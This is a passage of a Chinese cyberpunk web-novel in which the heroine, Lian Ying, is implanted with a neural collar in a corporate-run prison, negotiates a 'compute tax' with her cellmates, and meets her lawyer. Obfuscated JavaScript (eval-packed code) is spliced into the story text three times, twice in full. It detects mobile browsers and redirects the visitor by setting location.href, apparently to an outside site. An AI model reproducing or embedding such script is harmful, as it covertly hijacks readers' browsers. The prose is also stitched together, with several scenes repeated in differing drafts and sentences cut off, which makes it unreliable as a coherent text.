“怎么不合法?外面还有人做出卖脑力的兼职呢。”狱医不在意地说,“这和其他做衣服做脑芯加工的羁押所劳动一样,甚至还更轻松,什么都不用干就有固定积分拿,能抵钱哦。其他人一般一听到这个都乐意得很。否则的话,在这里面多待一天,就要多交一笔钱。” 说到这,他耸了耸肩膀道:“不过,依我看,他们也都是杞人忧天,大部分被关到这里的人出去根本遥遥无期,就算出不起羁押费又能怎么样?没区别嘛。话说,你有钱吗?或者说——你还有必要在意钱的事吗?” 她没钱。 至于什么时候能出去,似乎也遥遥无期。 于是连映问:“如果这样,那我可以选择不戴颈环也不拿积分吗?” “不行哦。”狱医摇摇头,做了个遗憾的表情,“它就是你在这里的身份证、通行证、银行卡和工牌,用处大着呢。以后领饭、换药、贡献算力,都靠它。” 连映沉默了,看着那个闪烁着冷光的金属圈,指尖微微战栗。 趁狱医低头查看数据的瞬间,她瞳孔微缩,瞬间将精神力和机械感知全部开,试图寻找这道枷锁的破绽。 然而,感知触碰到颈环的刹那,她心头猛地一沉。 这东西完全锁在体外,是一个封闭的物理死循环。在她的视野里,颈环内部没有任何可以被精神力渗透的缝隙,只有一道道狂暴且极具侵略性的信号流,正通过那几根毒牙般的刺,源源不断地向她体内传入传出。 她能感受到自己脑袋已经开始发沉了。 连映攥紧拳头,她知道自己至少得忍耐到离开这里再想办法,如果让这个狱医现在就发现破绽,对她做什么,凭她现在被禁锢的状态可是毫无办法。 在这场力量悬殊的博弈里,她必须先学会扮演一节合格的电池。 “好,连接正常,数据正常,进行下一步。” 狱医从液氮箱里夹出一个肉眼几乎不可见的小东西,将探针装入了那只激光校准的机械臂末端。 “既然网通了,现在该安插件了——喏,这就是郑所长交待的深层监测栓,军方的黑科技,个头太小人搞不定,得让机器来,它的误差只有零点零几微米,能直接扎进你的中枢神经深处。” 狱医凑近连映,语调格外轻柔地对她耳语道:“它会像一粒种子一样埋进你的脊髓里,一开始可能会有点胀,像是有无数小虫子在往骨缝里钻,但只要你不反抗,那种感觉很快就会变成一种……怎么说呢,微弱的电流快感?只要你不反抗,很快就好。” 连映死死咬着牙,冷汗顺着额头滑落,用精神力和机械感知视角看过去,下一秒,她心里一阵恶寒。 在特殊视野里,这个小东西看起来比那个颈环要可怕得多,它的结构极其细微复杂,密布着极其细密的、活物般的纳米触须,一旦进入身体,她的一切大概都会在羁押所,乃至其他易楚生案件相关的人眼中无所遁形,甚至在适当的实际也许能够掌控她的身体。 “准备好了吗?三,二,一——” “……!” 机械臂以一种非人的精准和冷酷瞬间将冰冷的探针刺入皮肤。异物入侵的感觉在精神力的放大下极其怪异,连映紧绷的身体猛地一颤,意识瞬间清醒了一些。 颈环她暂时拿不下去,但这枚想钻进她身体里很有可能会窥探甚至掌控她的躯体的东西,她不打算放过。 连映迅速分出一部分精神力秘密包在探针外围,将那些刚露头的纳米触须死死包裹在内。 做完这些,连映感觉精神顿时萎靡了下去,由于部分精神力被抽走,她能感知到自己的被精神力加强的感官和觉察迅速下降,不过,虽然失去了部分掌控力,但更加“普通”的感觉也让她心头反而轻松了些许。 “嗯?”狱医盯着平板,微微皱眉,“奇怪,你的多巴胺和脑电波波峰怎么这么平?这数据看起来死气沉沉的。” 连映死死咬着牙,冷汗顺着下巴滴在床单上。她装出虚脱到极致的样子,声音微弱地卖惨道: “医生,我可是饿着肚子被审了大半夜,还被你们弄昏了,刚刚才醒过来,头疼,也晕,感觉脑子被掏空了……” 狱医看着她苍白如纸的脸。并网初期的严重排异反应在新人身上确实常见,他打消了自己的怀疑。 “刚并网的人都是这样。你的精神力还没适应这种高强度的脑力交税。”狱医随口说道,示意机械臂收回。 三只巨大的金属臂升回天花板的阴影里,医疗床重新放平,床边的合金锁扣也松开连映四肢缩了回去。 沉重的压迫感和钳制感撤去,连映瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150202|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间感到一阵轻松,大喘了一口气,赶紧活动被箍得难受的手脚肩颈。 “瞧,我说过很快完成。没你想象的那么可怕吧?” 狱医摘掉手套,像个慈祥的长辈一样,替连映理了理湿透的鬓角,随手把废弃物扔掉。 “好了,C095。”狱医看着她难看的脸色色,拍了拍她的肩膀,笑容可掬地安抚道:“如果你待会儿觉得头晕或者恶心,那是神经适配的正常反应,不用担心。有什么不适可以随时回来找我,你知道的,我这儿大门常打开。” 这种温柔的屁话比刚才手术时的不适更让连映想吐。 门铃忽然响起来,狱医按了一下桌上一个按钮,一个穿着黑色防暴制服的女管教和一个推着清洁车的瘦削中年女囚走了进来。 “接人的来了。”狱医解开连映铐在病床栏杆上的镣铐,冲她摆摆手。 连映头重脚轻地走下病床,离开医务室前,回头看了一眼。 医务室里,狱医已经低下头,开始若无其事地哼着小曲,整理下一份病例。 穿着灰色清洁马甲的女囚正弯着腰默默清理地上的狼藉。 墙上阴影里,似乎有一块黑色的斑点一闪而过。 “走吧,C095。”管教的声音隔着厚重的全息面罩,显得失真而冷酷,“早点结束,你就能早点回去‘休息’。” 升降梯带着令人牙酸的金属摩擦声急速下坠,四周全透明的强化玻璃外,一根散发着幽蓝微光的巨大能量柱,那是成千上万囚犯通过颈环贡献出的脑力算力。 轿厢吱吱呀呀地停在负三层,C区。门刚滑开,一阵尖锐的叫骂声和重物撞击声便扑面而来。 “放开我!你们这群给公司当走狗的杂种!” 一个身形单薄的女孩正被一名长着一口乱牙眼神阴鸷的女管教死死按在金属分拣台上。女孩的侧脸贴着冰冷的合金面,由于过度愤怒,脖颈处的青筋暴起,却死命护着怀里一个折叠得皱巴巴的纸鹤。 “在C区,只有数据,没有废纸 。”那乱牙女人发出一声刺耳的冷笑,手中的电磁棍发出滋滋的鸣响,在空中划过一道威胁的弧光,“既然这么有力气折纸,那今晚你的算力配额翻倍。我看你还有没有精神闹腾。” 连映被推着从两人身边经过,颈环内侧的传感器因为检测到周围剧烈的情绪波动而发出一阵微弱的震动。 在擦肩而过的瞬间,她通过余光看到了分拣台上闪烁的电子档案:C097号,苏零。罪名一栏赫然标注着:“非法意识上传(未遂)”。 “操,看什么看!?——嗯?有一个新来的?” 乱牙女人敏锐地转过头,将目标转向了连映。她充满恶意地盯着连映那张因并网而惨白的脸,电磁棍不轻不重地在手上敲了敲。 “管你是谁,来到C区,你们就得听我的!”乱牙女人猛地凑近,那股令人作呕的劣质机油味喷在连映脸上,语调森然,“在这里,我就是你们的上帝,而上帝今天心情不太好。” 连映苍白的脸上没有任何表情,唯独那双漆黑的眼睛,在颈环幽蓝微光的映照下,死寂得让人发毛。 乱牙女人似乎被这种眼神激怒了,她拎着手里的电磁棍,朝着连映不紧不慢地踱过来。 18.C09号监室 “放开我!我只是拿了一张没人用的废纸叠了点东西!” 一个身形单薄的年轻女孩正被一名长着一口乱牙眼神阴鸷的女管教死死按在墙上,女孩的侧脸贴着墙面,脖颈处有几个鲜红渗血的印子,却死命护着怀里一个折叠得皱巴巴的纸鹤。 “在C区,所有东西都是公家的,就算是废纸,你也不能随便拿。”那乱牙女人发出一声刺耳的冷笑,手中的电磁棍发出滋滋的鸣响,在空中划过一道威胁的弧光,“既然这么有力气折纸,那今晚你的算力配额翻倍。我看你还有没有精神闹腾。” 连映被推着从两人身边经过,目光微微一凝。 除了颈环内侧的传感器因为检测到周围剧烈的情绪波动而发出的微弱震动,她的精神力在乱牙女管教的脖颈间感受到了一阵细微的异样,瞬间启动机械感知,看到她后颈处安装脑芯的部分闪烁着橙色的光。 她心里有了点数,目光下滑,分拣台上闪烁的电子档案:C097号,苏凌。罪名一栏赫然标注着:“非法意识上传(未遂)”。 “操,看什么看!?——嗯?是你?” 乱牙女人敏锐地转过头,将目标转向了连映。她充满恶意地盯着连映那张因并网而惨白的脸,电磁棍不轻不重地在手上敲了敲。 “我昨天在电视上看过你,大红人!直播杀人,你是不是觉得自己老厉害了?可惜,进了这扇门,你就不是那个敢在全城直播里杀人的判官了。” 乱牙女人不怀好意地笑了笑,一只手依然钳制着手下的女孩,另一只手扬了扬手里的电磁棍,“在这里,我是你的上帝,而上帝今天心情不太好。” 连映苍白的脸上没有任何表情,一双漆黑的眼睛在颈环幽蓝微光的映照下显得格外冷淡。 她回头看了一眼,带她过来的那两名管教正抱着双臂靠在升降梯旁,神情冷漠,显然对这种新人教育早已习以为常。 乱牙女人被激怒了,她猛地扬起电磁棍,拽着叫苏凌的女孩的衣领朝连映大踏步走来,却听面前面色苍白的女嫌疑犯突然开口道: “你后脖颈那个脑芯快报废了。” 连映的声音极其平静,甚至带着一丝职业性的冷淡。 乱牙女人愣了一下,随即狞笑:“想吓唬我?” “你最近是不是总觉得耳朵里有指甲抓黑板的声音?脾气越来越压不住,手还会莫名其妙发抖。”连映盯着她,识海深处那股的精神力悄无声息地探出一缕,精准地捕捉到了乱牙女人身上那一丝极不稳定的波动。 这女人身上有一种和被蚀械菌侵蚀的李斯和秦阒类似的波动,但比他们微弱得多。她不知道这代表着什么,也许是神志失控或即将失控的人散发的独特频率。 乱牙女子的瞳孔剧烈收缩,握着棍子的手微微颤抖。 “你想说是因为没钱换吗?”连映的声音压得很低,却精准地传到了后方那两名管教的耳朵里,“所以你才更疯狂地在这里压榨积分。但你得明白,这种程度的过载,意味着你已经成了这个监区的‘污染源’。一旦你在‘算力征用’时彻底失控,产生精神爆裂,系统会自动标记你这个坐标,然后……” 连映微微侧头,看了一眼升降梯旁那名已经站直了身体的管教: “……然后,系统会把现在的一切报上去,到时候会发生什么,就和我无关了,毕竟我只是个嫌疑犯,不会被追责。” 那个原本抱着双臂看戏的管教神色猛然一变,教训新人给她一个下马威确实是这里约定俗成的规矩,但她绝对不能容忍身边有这样一个定时炸弹,如果出了什么岔子,她一定会被追究连带责任。 现在工作不好找,她现在的岗位后面可是有一群人在盯着。 “够了,张敏!” 她大步走上前,一把按住了乱牙女人的肩膀。由于负责押送嫌疑犯,她穿了外骨骼制服,力气极大,强行将电磁棍压了下去。 “郑所长刚才提过她的案子,重点关注对象,不能出差错。还有那边那个也先放开,不要一上来就小题大作搞出事来。” 女管教声音冷硬,眼神隐晦地扫过乱牙女人发烫的后颈,“既然接口有问题,待会儿自己去申领一支强化剂,早点把身体问题解决,别连累大家。” “……算你命大。”乱牙女人嘟囔了一句,脸上的愤怒转为一种被揭穿后的不堪和羞恼,狠狠地剜了连映一眼,悻悻松开了手下的苏凌。 “王敏,带她回监室,下手客气点。”女管教冷冷地对乱牙女管教吩咐道。 乱牙女管教点点头,面色不虞地带着苏凌离开了。 女管教带着连映穿过长廊,顺便用电磁棍指了指两边:“记好了。每天三点到五点是算力征用,不想死就老老实实睡觉。走廊尽头是阅览室,积分攒够才能进,每个月能在这里上一次网,联络外界,购买物资。这一层是女监区,男人在下层,没有通行许可不能去,过界直接射杀。” 阅览室,这是个重要的地方,连映心里默默想。 女管教和乱牙女带她们穿过环形走廊,来到一个监房门口停下:“好了,这就是你们的房间。” 重型合金门滑开,一股复杂难闻的生活气息扑面而来。 连映抱着物资包站在门口,目光扫过昏暗的室内。 靠墙的下铺坐着一个约莫五十岁的女人,身形丰满微胖,正低头缝补着一件囚服,囚服编号是C093。 斜对面的上铺,一个坐得笔挺的女人正翻看着一本发黄的旧书,她长相平平,却有一双鹰隼般精光内敛的眼睛,看似平和却给人一种不好惹的感觉,编号C091。 而在正中央的铺位上,一个长相凶悍的女人正靠在床头,她那只漆黑的军用级机械右臂极其扎眼,大半张脸和脖子处盘踞着一只色彩斑斓的红色蝎子纹身,编号C092。 “C095!?”凶悍的纹身女看了一眼两人身上的编号,目光一闪,翻身下地,金属脚掌踏在合金地板上的声音沉重有力。 她走到连映身前绕了一圈,不屑地道:“你就是补间谍空的那个杀人犯?看着也没什么特别的嘛。” 她浓眉一压,揪住连映领口,机械指节将她的锁骨冰得发寒,眼神里透着一股不加掩饰的暴戾:“刚才已经有人来发咱们监室的算力提高通知了。你一来就提高了咱们监室的算力权重,那以后这屋里的算力税你包一半。有意见吗?” 二人肢体接触的一瞬间,连映脑海中瞬间响起了系统提示: 【提示:检测到潜在载体,代号C092的人类成年女性。】 【当前同步率:0%(条件不足,无法链接)。】 这个纹身女人,居然是个载体?连映有些意外。 也就是说,她也是个潜在的能力者?可是,条件不足是什么意思,潜在的载体,意思是还不能像夏雨那样直接附身? 见连映眼睛一眨不眨地直直回望过来,眼神清亮,呼吸清浅地吹到自己脸上,又想到她的罪名,红蝎不知怎的心里一阵古怪,想要松手,又觉得这样有点没面子,心里正矛盾着,忽听连映开口问道:“算力税是什么?” “新来的,你是真不懂还是装傻?”她觉得自己被耍了,冷笑一声,心里火气顿时又拱了上来,刚想放下连映领口的手又重新紧了紧,忽听角落里的微胖中年女人忍不住叹口气,压低声音解释道: “咱们这儿叫静默塔,名头上是军用羁押所,实际上早被承包给了那几家巨头公司,本质上就是个挂着监狱牌子的大工厂,咱们这颗脑袋就是他们的电池。每天凌晨三点到五点,系统会通过颈环强制征用咱们的脑子进行运算,那就是算力税。” “抽取过程会伴随剧烈的神经痛。” 一旁读书的C091终于抬起眼皮,合上了手里的旧书,声音波澜不惊。 “你的带宽是我们的好几倍,意味着你的罪名更重,或者你大脑子性能更好,大概率是两者兼有。如果你的上缴额度高,我们的负荷就会相应降低。王红的意思是,让你今晚主动加压,换我们一个安稳觉,这也是这里所有监室的默认规则,不是在特意针对你。” 她看向连映,眼神认真,看起来很有说服力:“不过,你不用太担心,通常来说,系统的判定额度不是无的放矢,以你的算力数据看,即使你分担提高后的算力税的一半,它也应该在你能够承受的范围之内。” 连映明白了。简单来说,这是摆在台面上脑力剥削。 “我明白了。”连映盯着纹身女王红那双布满血丝的眼,突然开口,“我并不知道我的脑域极限在哪里。如果我因为过度超频导致脑溢血死在床上,剩下的份额就要由你们平摊,对吗?” 纹身女意外地看了她一眼,松开了揪着她领口的手,没料到她这种情况下还能反过来威胁她们。 “我不做亏本生意。”连映继续道,“我不是不能分担,但得今夜先看看情况再说,如果可以,我需要额外的积分和食物,而且今天就要预支给我足够去阅览室的份额。我的身体虚弱一分,你们分担的风险就多一分。” 监室内陷入了一阵诡异的沉默。李棠重新审视着连映,眼神中多了一丝玩味。 “放开我!我只是拿了一张没人用的废纸叠了点东西!” 一个身形单薄的年轻女孩正被一名长着一口乱牙眼神阴鸷的女管教死死按在墙上,女孩的侧脸贴着墙面,脖颈处有几个鲜红渗血的印子,却死命护着怀里一个折叠得皱巴巴的纸鹤。 “在C区,所有东西都是公家的,就算是废纸,你也不能随便拿。”那乱牙女人发出一声刺耳的冷笑,手中的电磁棍发出滋滋的鸣响,在空中划过一道威胁的弧光,“既然这么有力气折纸,那今晚你的算力配额翻倍。我看你还有没有精神闹腾。” 连映被推着从两人身边经过,目光微微一凝。 除了颈环内侧的传感器因为检测到周围剧烈的情绪波动而发出的微弱震动,她的精神力在乱牙女管教的脖颈间感受到了一阵细微的异样,瞬间启动机械感知,看到她后颈处安装脑芯的部分闪烁着橙色的光。 她心里有了点数,目光下滑,分拣台上闪烁的电子档案:C097号,苏凌。罪名一栏赫然标注着:“非法意识上传(未遂)”。 “操,看什么看!?——嗯?是你?” 乱牙女人敏锐地转过头,将目标转向了连映。她充满恶意地盯着连映那张因并网而惨白的脸,电磁棍不轻不重地在手上敲了敲。 “我昨天在电视上看过你,大红人!直播杀人,你是不是觉得自己老厉害了?可惜,进了这扇门,你就不是那个敢在全城直播里杀人的判官了。” 乱牙女人不怀好意地笑了笑,一只手依然钳制着手下的女孩,另一只手扬了扬手里的电磁棍,“在这里,我是你的上帝,而上帝今天心情不太好。” 连映苍白的脸上没有任何表情,一双漆黑的眼睛在颈环幽蓝微光的映照下显得格外冷淡。 她回头看了一眼,带她过来的那两名管教正抱着双臂靠在升降梯旁,神情冷漠,显然对这种新人教育早已习以为常。 乱牙女人被激怒了,她猛地扬起电磁棍,拽着叫苏凌的女孩的衣领朝连映大踏步走来,却听面前面色苍白的女嫌疑犯突然开口道: “你后脖颈那个脑芯快报废了。” 连映的声音极其平静,甚至带着一丝职业性的冷淡。 乱牙女人愣了一下,随即狞笑:“想吓唬我?” “你最近是不是总觉得耳朵里有指甲抓黑板的声音?脾气越来越压不住,手还会莫名其妙发抖。”连映盯着她,识海深处那股的精神力悄无声息地探出一缕,精准地捕捉到了乱牙女人身上那一丝极不稳定的波动。 这女人身上有一种和被蚀械菌侵蚀的李斯和秦阒类似的波动,但比他们微弱得多。她不知道这代表着什么,也许是神志失控或即将失控的人散发的独特频率。 乱牙女子的瞳孔剧烈收缩,握着棍子的手微微颤抖。 “你想说是因为没钱换吗?”连映的声音压得很低,却精准地传到了后方那两名管教的耳朵里,“所以你才更疯狂地在这里压榨积分。但你得明白,这种程度的过载,意味着你已经成了这个监区的‘污染源’。一旦你在‘算力征用’时彻底失控,产生精神爆裂,系统会自动标记你这个坐标,然后……” 连映微微侧头,看了一眼升降梯旁那名已经站直了身体的管教: “……然后,系统会把现在的一切报上去,到时候会发生什么,就和我无关了,毕竟我只是个嫌疑犯,不会被追责。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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墙上的时钟刚过起点,众人都刚刚起床,连映透过屋里昏暗的灯光静静打量众人。 靠墙的下铺坐着一个约莫五十岁的女人,身形丰满微胖,正低头缝补着一件囚服,囚服编号是C093。 斜对面的上铺,一个坐得笔挺的女人正翻看着一本发黄的旧书,她看着大约三十来岁,长相平平,却有一双鹰隼般精光内敛的眼睛,看似平和淡定却给人一种不好惹的感觉,编号C091。 而在正中央的铺位上,一个长相凶悍的女人正靠在床头,她那只漆黑的军用级机械右臂极其扎眼,大半张脸和脖子处盘踞着一只色彩斑斓的红色蝎子纹身,编号C092。 “C095!?”凶悍的纹身女看了一眼两人身上的编号,目光一闪,翻身下地,金属脚掌踏在合金地板上的声音沉重有力。 她走到连映身前绕了一圈,不屑地道:“你就是补女间谍位子的那个杀人犯?看着也没什么特别的嘛。” 她浓眉一压,揪住连映领口,机械指节将她的锁骨冰得发寒,眼神里透着一股不加掩饰的暴戾:“刚才已经有人来发咱们监室的算力提高通知了。你一来就提高了监室的算力权重,那以后这屋里的算力税你包一半。有意见吗?” 二人肢体接触的一瞬间,连映脑海中瞬间响起了系统提示: 【提示:检测到有匹配潜力的同源载体,代号C092的人类成年女性。】 【当前同步率:0%(条件不足,无法链接)。】 这个纹身女人,居然是她的同源载体?连映有些意外。 也就是说,她也是个潜在的能力者?可是,条件不足是什么意思,潜在的载体,意思是不能像夏雨那样直接附身她? 见连映眼睛一眨不眨地直直回望过来,眼神清亮,呼吸清浅地吹到自己脸上,又想到她的罪名,红蝎不知怎的心里一阵古怪,想要松手,又觉得这样有点没面子,心里正矛盾着,忽听连映开口问道:“算力税是什么?” “新来的,你是真不懂还是装傻?”红蝎觉得自己被耍了,冷笑一声,心里火气顿时又拱了上来,刚想放下连映领口的手又重新紧了紧,忽听角落里的微胖中年女人忍不住叹口气,压低声音解释道: “咱们这儿叫静默塔,名头上是军用羁押所,实际上早被承包给了那几家巨头公司,本质上就是个挂着监狱牌子的大工厂,咱们这颗脑袋就是他们的电池。每天凌晨三点到五点,系统会通过颈环强制征用咱们的脑子进行运算,那就是算力税。” “抽取过程会伴随剧烈的神经痛。” 一旁读书的C091终于抬起眼皮,合上了手里的旧书,嗓音波澜不惊道: “你的带宽是我们的好几倍,意味着你的罪名更重,或者你大脑算力水平更高,抑或二者兼有。 一个监房的默认设置是分摊算力,你来之前,我们监房的算力权重相差并不大,分摊算力在我们每个人的承受范围之内,但是你的加入大大增加了我们的负担。如果你愿意将上缴额度提高,我们的负荷就会相应降低。王红的意思是,让你今晚主动加压,换我们一个安稳觉,这也是这里所有监室的默认规则,不是在特意针对你。” 她看向连映,眼神认真,看起来很有说服力:“不过,你不用太担心,通常来说,系统的判定额度不是无的放矢,以你的算力数据看,即使你分担提高后的算力税的一半,它也应该在你能够承受的范围之内。” 连映听懂了。简单来说,这是直接摆在台面上的脑力剥削,剥削程度堪堪维持在能可持续利用的范围内。 “我明白了。”连映轻轻点了点头,说:“我不是大脑性能超群的天才,也不知道自己能承受多少算力。如果我因为过度超频导致脑溢血死在床上,剩下的份额就要由你们平摊,对吗?” 纹身女意外地看了她一眼,松开了揪着她领口的手,没料到她这种情况下还能反过来威胁她们。 “我不做亏本生意。”连映继续道,“我不是不能分担,但得我有条件。第一,我需要今夜先看看情况再说,不会在什么都不了解的情况下就答应你们的要求。第二,我需要额外的积分和食物,而且今天就要预支给我足够去阅览室的份额。以现在的情况,我的身体虚弱一分,你们分担的风险就多一分。” 监室内陷入了一阵诡异的沉默。李棠重新审视着连映,眼里多了一丝玩味。 19.是谁让你来的 “你做梦呢?” 听完她的条件,红蝎纹身女人怒极反笑,浓眉嘲讽一扬:“脑子烧坏了吧,什么都没干就敢管我们要东西?” “有意思。”C092终于放下手里那本旧书,精光内敛的眼神如手术刀般从连映身上划过,“你是第一个还没交税就敢先领补贴的人。你觉得,你值这个价?” 连映转过头,直视C092那双精明且深沉的眼睛: “别装了。五号床附近有股焦糊味,另外两个铺位也是空的。我猜,她们出事时,事发突然,你们现在的状态其实都不太好吧?所以才会在我一来就企图连哄带逼地让我答应你们的条件。 而且,我已经听管教说了,系统抓取是根据个人情况来的,那么就算我不答应你们的要求,今晚我被抽取的份额也绝不会少,而你们……”连映扫视了一圈, “以你们现在的状态,恐怕连系统默认的那部分都很难熬过去吧?” 监室内彻底陷入一阵死寂。 连映说中了,五号铺位的李丽华的离开让原本的平衡摇摇欲坠,她们现在就像惊弓之鸟,迫切需要一个大个子来顶住天。 “我不知道这税具体怎么收,但我听管教说过系统抓取的逻辑。与其逼我承诺一个会让我暴毙的数字,不如给我足够的补给。 只要我今晚不主动抵抗抓取,维持深度清醒,系统自然会优先从我这个高带宽节点走流量。至于其他的,过了今晚再谈。这样,至少今天夜里你们承受的震荡和风险会小很多。” 连映没承诺具体多付出多少,她只是提出了一个配合态度。对她来说,这些积分和食物有没有都不足以决定她的生死,她对它们的需求并不迫切,但她相信,在C092这样的人眼里,一个愿意配合抓取的高带宽新人,必定比一个拼命抵抗导致系统乱跳的死刑犯要有用得多。 监室内陷入了死寂。C092这种玩弄权力的人最识货,连映给出的不是承诺,而是一个更稳妥的方案。 “有意思。”C092终于露出了一丝认可的眼神,“你是第一个还没进门就敢跟我们谈价钱的新人,而且还成功了。王红,给她转五个点。再去翻两根活性营养棒给她。连映,我可以答应你的条件,但你必须信守承诺,明天我们必须要谈一个长期的解决方案。” C092顿了顿,语气忽然加重:“但是,这里有这里的规矩。打扫厕所是入场费,头三天归你。要是今晚你没挺住,害得大家一起遭罪,我会让你知道,死在并网里其实是一种解脱。” “只要你答应的都能做到,我也一定会信守承诺。不过,我需要午饭后再去打扫厕所。” 连映继续讨价还价。 她一夜没睡,一会还有律师会见,现在没有 “你也不希望我因为体力透支晕倒,导致夜里连累你们吧?” 谈判成功、拿到实质性的好处,连映心情大好,慢悠悠地道。 “可以。”李棠答应得很干脆。 在她看来,只要连映今晚能发挥那个高带宽的作用,这点休息时间是微不足道的代价。 “算你走运!”叫王红的红蝎纹身女人恨恨地摸出两根营养棒扔给连映,然后从怀里摸出一个类似计算器状的小巧设备,在上面飞快地按了几下,然后将设备靠近连映的颈环感应区。嘀声过后,连映颈环上出现了AI语音机械的播报声: “嫌疑犯C095积分增加 5.0分。” “交易达成。”连映弯了弯唇,心情不错地主动道:“我们来做个自我介绍怎么样?我叫连映。” 她并没有透露别的信息,在军方羁押所这样的地方,没有人的过去是可以轻易向别人透露的。以现在以几人的交情,只交换名字是最舒服的距离。 来日方长。 身上纹着红蝎纹身的女人粗声粗气地介绍了名字:“我叫王红,那是李棠李姐,角落里那是苏姨。现在,滚去把厕所刷了!” 连映捡起被扔在床铺上的两根黑色能量棒,对着李棠的方向清晰地说了声:“谢谢李姐。” 连映走向那个属于自己的上铺,这个空位原本属于另一个活生生的女人,但现在她已经不知去向,而同监室的其他人都对此讳莫如深。 她没再继续想下去,而是撕开包装,吞下那块甜到发苦的胶状物。 她其实没有说谎,但她隐瞒了最重要的部分对别人来说是自杀的来自颈环的算力抽取和电流攻击,对她那个由于海马体异常而渴望能量的系统来说,并不见得是坏事,就如同上次的蚀械菌攻击一样。 她想看看,自己这个所谓的系统都能做到什么,做到什么程度。 * 十点整,两名管教带着连映穿过那道厚重的感应门,再次来到了会见室。 隔着加厚的强化玻璃,徐律师依旧是那副干练的中年精英模样。她推了推眼镜,义眼底部的红光在昏暗的室内微微一闪。 “你的脸色很差。”徐律师的声音通过扬声器传过来,带着一丝职业性的关怀,“昨晚审讯状况如何?” “审了大半夜,昏在审讯椅上了。陆靖遥的人好像用了高强度清醒剂,强行抑制了我的昏睡机制。最后我的神经实在撑不住,在那张椅子上昏死过去了。” 她现在头重脚轻,刚才吃了监室交易换来的营养棒,休息了快三个小时还没完全缓过来。 听到她这么说,徐律师眼神猛地一沉:“军用清醒剂……那是专门对付重案罪犯和间谍的手段,需要提前申请许可,至少三天才会批下来。昨天的案子事发突然,他们竟然用在你身上,程序一定不合规。他们这是在非法透支你的神经寿命。” 她一边用意念在全息屏幕上迅速记录内容,一边语气严峻道:“这种强度的压榨,说明她手里确实没有能一锤定音的物证。如果你愿意,我可以提交你以前的病例,给你申请精神鉴定——” 徐律师还没说完,连映就打断道:“不用,没这必要。现在这个案子关注太大,他们抓住我不会轻易松口的。” 徐律师点了点头,翻开文件夹,换了个话题道: “现在外界舆论对你非常不利,创联集团正在不遗余力地把你塑造成一个因为嫉妒而发疯的情杀者。你父亲去世后的这五年,你和继母还有你妹妹的关系一直很疏离,她们现在被媒体包围,你继母甚至对记者暗示过,你以前就有过强烈的情绪控制问题和精神疾病。” 连映嘴角勾起一抹讥诮的弧度。自五年前她父亲重病离世后,她和她们几乎没再见过面,疏离只是委婉的说法。 “随她们说去吧,我以前的事有心人一扒就能扒出来,早晚会发酵起来。”连映语气冷淡地回应道。 徐律师目光一闪:“不止如此,现在已经有媒体开始扒你十四年前你母亲的案子了。” “……”连映心脏一坠,沉默了。 “还有件事。”徐律师见她不想谈这个,换了个话题,“陆靖遥已经正式下达通知,说明早八点会继续对你进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168104|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深度审讯。” 连映嗯了一声说:“这个我已经知道了,但是徐律师,在继续交谈之前,我能先问你一个问题吗?” 徐律师点点头:“可以,你问。” “为什么我一出事你就联系过来了?我知道我们以前合作过,但这次事发突然,我还没来得及通知任何人。” “唔……”这个问题一出,徐律师的面色忽然变了。认识她这么久,连映还没是第一次在她脸上见到复杂犹疑的表情。 沉吟半晌,她语气古怪地说:“你还记得……易楚生出事那天晚上,你给我打过一个电话吗?” 连映因为她意料之外的回答怔了怔:“电话?” “那是下午发布会那件事爆发之前,你的声音听起来非常冷静,听不出任何和谋杀案有关的征兆。” 徐律师盯着她的眼睛,似乎在寻找某种痕迹。 “你告诉我,如果你随后出了任何事,让我立刻介入。你还特别强调……如果我发现你不记得某些事,不要惊讶,只要按你给我的委托办就行。在法律程序上,你已经提前预留了我的出场权限。” 看着连映微微失色的神情,她继续道:“所以,当我昨夜在军方通报名单上看到你的名字时,我立刻带上那份提前签署好的授权书提交了会见申请。你放心,这件事我没有告知任何人。你放心,这件事我没有也不会告知任何人。” “……” 连映被这个消息惊得心脏巨震,脊背发凉。 她的记忆真的出了问题吗?为什么她自己完全察觉不到异样? “我委托你了什么?”连映问。 徐律师却摇了摇头,重新坐直了身体,恢复了那种滴水不漏的职业神态:“现在还不是说的时候。你当时说,在合适的时机,我才能把当时你给自己的留言告知于你,这个时机现在还没有到。” 连映看着徐律师那双深不见底的眼睛,一股深深的寒意顺着脊椎爬了上来。 徐律师说,是自己在案发前亲自联系了她?难道,自己案发前就知道或者预感到了自己即将被诬陷为这个案子的嫌疑犯? 但是,话又说回来,她真的能相信徐律师吗?这只是她的一面之辞。 说实话,事情发展到现在这样,连映现在谁都不敢相信。虽然在此之前,徐律师在她心里一直是一个真正的好律师,也是一个绝对可以托付信任的人,但是,即使真的能听到对方的心声,看对方所看,感对方所感,就像她和夏雨那样,也很难说就真的了解彼此,至少在一开始不行,不是吗? “至于明早的审讯,”徐律师话锋一转,又恢复了平静无波的职业表情。 “根据我的消息,审讯方已经打了共感模拟的申请来对你进行高压测试,测试场景是案发当天,以你的所有官方所知的行动轨迹为模拟路线,你得做好心理准备。” 徐律师压低声音,身体微微前倾,在玻璃上留下了一小片白色的雾气: 